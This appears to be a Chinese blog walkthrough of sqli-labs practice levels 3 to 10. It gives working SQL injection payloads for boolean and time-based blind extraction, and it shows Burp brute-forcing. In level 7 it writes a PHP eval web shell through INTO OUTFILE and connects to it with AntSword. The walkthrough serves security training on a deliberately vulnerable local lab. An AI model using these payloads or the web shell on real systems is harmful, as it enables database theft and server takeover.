sqli-labs通关攻略教程二(less 03-less-10)


sqli-labs通关攻略教程一(less 01~less 02)
该靶场数据库版本为 MYSQL,数据库库名为 security

less 03

  1. 与第一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。在这里插入图片描述
  2. 输入?id=1,发现报错,说明存在sql注入。
    在这里插入图片描述
    查看报错原因,则这一关的闭合方式为(''),其余与第一二关的步骤相同。

less 04

  1. 与上一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。在这里插入图片描述
  2. 尝试输入?id=1,查看报错的sql语句,我们猜测第四关的闭合方式为(" ")
    在这里插入图片描述
  3. 其余查询语句与前三关相同。
    对于前四关总结:基本步骤相同,四关的唯一的区别在于闭合方式的不同。第一关是'',第二关是直接为数字型注入,第三关的闭合方式为(''),第四关是("")

基础知识补充

left(database(),1)='s'

left()函数,left(a,b)从左侧截取a的前b位,正确返回1,错误则返回0
在这里插入图片描述

select user() regexp 'r'

regexp()函数,user()的结果是rootregexp为匹配root的正则表达式。 (从左到右匹配)
在这里插入图片描述
3.

select user() like 'ro%'

like()函数,与regexp函数相比,多了百分号,但结果几乎相同。匹配与regexp相同。
在这里插入图片描述
4.

select substr() xxx

subsrt(a,b,c)函数,从位置b开始,截取a字符串c位长度。在这里插入图片描述
5. ascii() 将某个字符串转为ascii

select ascii(substr((select database()),1,1));

select ascii(substr((select database()),1,1))>110;

select ascil('a'

在这里插入图片描述
6. chr(数字) ord('字母')
使用python中的两个函数可以判断当前的ascii码值。
在这里插入图片描述

less 05(布尔盲注)

  1. 与上一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。在这里插入图片描述
  2. 输入?id=1时在这里插入图片描述

输入?id=1'时,出现报错,说明存在sql注入在这里插入图片描述
在这里插入图片描述
3. 使用order by 查询字段在这里插入图片描述
在这里插入图片描述
结合第二步和第三步,我们发返回结果只有一种,没有账户和密码的输出,因此使用前几关的联合查询不太可行。
4. 使用left()函数来查看数据库的第一位,我们输入id=1' and left((select database()),1)='s'--+,发现没有报错,说明数据库的第一位为s在这里插入图片描述
输入?id=1' and left((select database()),2)='sw'--+,没有回显的结果,说明第二个数据库的第二位不是sw在这里插入图片描述
5. 为了方便,可以使用burpintruder模块,对?id=1' and left((select database()),1)='a'--+中的a添加标记进行暴力破解,可以适当增加线程。在这里插入图片描述

在这里插入图片描述
以此方法,对后面的所有字母进行爆破,得到数据库为security
6. 也可以采用另外一种方法使用ascii()函数来获得数据库的字符。?id=1' and ascii(substr((select database()),1,1))>114--+在这里插入图片描述
在这里插入图片描述
以此方法,使用折半法依次判断数据库的每一个字符。

less 06

  1. 与上一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。在这里插入图片描述
  2. 第六关与第五关的区别在于,第六关闭合方式为" ",其余步骤相同。在这里插入图片描述

基础知识补充

show variables like xxxxx
show variables    //查看服务器配置

在这里插入图片描述

show variables like 'secure%';       //查看读写协议

在这里插入图片描述
在目录D:\PhpStudy2018\PHPTutorial\MySQL下打开my.ini文件,在其中添加secure_file_priv="/",方便后面学习文件的读和写。在这里插入图片描述2. load file() 读取本地文件

select load_file('双斜杠的绝对路径');
  1. into outfile() 写文件
    用法: select 'mysql is very good' into outfile 'test.txt'或者 select 'crow 666' into outfile text.txt;文件位置在MYSQL/data下 。
    要想写入指定文件,即需要select 'crow 666' into outfile '绝对路径\text.txt',但是会对反斜杠进行转义,因此需要把每一个\改为\\

less 07

  1. 与上一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。在这里插入图片描述
  2. 输入?id=1,发现闭合方式为((' ')),并提示使用outfile()函数来写。在这里插入图片描述
?id=1')) union select 1,2,'crow' into outfile  'D:\\PhpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\text.php'--+


?id=1')) union select 1,2,'<?php @eval($_POST[123])?>' into outfile  'D:\\PhpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\a.php'--+

查看文件中相应文件,发现写入成功。同时使用蚁剑连接,即可连接成功。
4.

IF(condition A,B)  //如果条件condition为true,则执行语句A,否则执行语句B

select if(1>2,4,5);     //返回的结果是5(如果在mysql命令行中使用,首先要use xxx 数据库才可以使用)  

select if(ascii(substr((select database()),1,1))>10,2,3)

在这里插入图片描述
在这里插入图片描述

less 08

方法1(布尔盲注)

  1. 与上一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。在这里插入图片描述
  2. ?id=1,则闭合方式为' '在这里插入图片描述
  3. 使用order by 查询字段数。
  4. 使用left()函数判断数据库的每一位字符或者使用ascii()函数和substr()函数的回显来判断
    在这里插入图片描述
    在这里插入图片描述

方法2(时间盲注)

  1. 判断存在注入漏洞
?id=1' and sleep(5)--+

在这里插入图片描述
没有返回结果,说明存在注入注入漏洞。

?id=1' and if(length(database())=8,1,sleep(10))--+

?id=-1' or if(length(database())=8,1,sleep(10))--+

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

当数据库长度为8(security)时会很快加载,而为其他值的时候加载较慢(10s左右)。
2.

?id=1' and  if(ascii(substr((select database()),1,1))>110,1,sleep(10))--+

如果当前数据库的第一个字母的ascii码>110,则立刻返回结果,否则延迟10s。
3.

?id=1' and  if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>110,1,sleep(10))--+

判断数据库中的第五个数据库的第一位ascii码是否大于110,是的话快速返回,否则延迟10s。
4. 其余步骤与前几关均相同,使用时间盲注时间成本过高,可以采用burp脚本或者sql盲注脚本使用。

less 09&&less 10

  1. 与上一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。在这里插入图片描述
?id=1

在这里插入图片描述
说明闭合方式为' '
3. 使用与前几关相同的盲注方法或者其他,即可得到我们想要的结果,推荐使用burp进行操作,节省时间。
4. 第九关与第十关唯一的区别在于闭合方式的不同,第十关的闭合方式为" ",其余方法与第十关相同。在这里插入图片描述

前十关总结

前十关均关于urlget请求

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

poggioxay

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值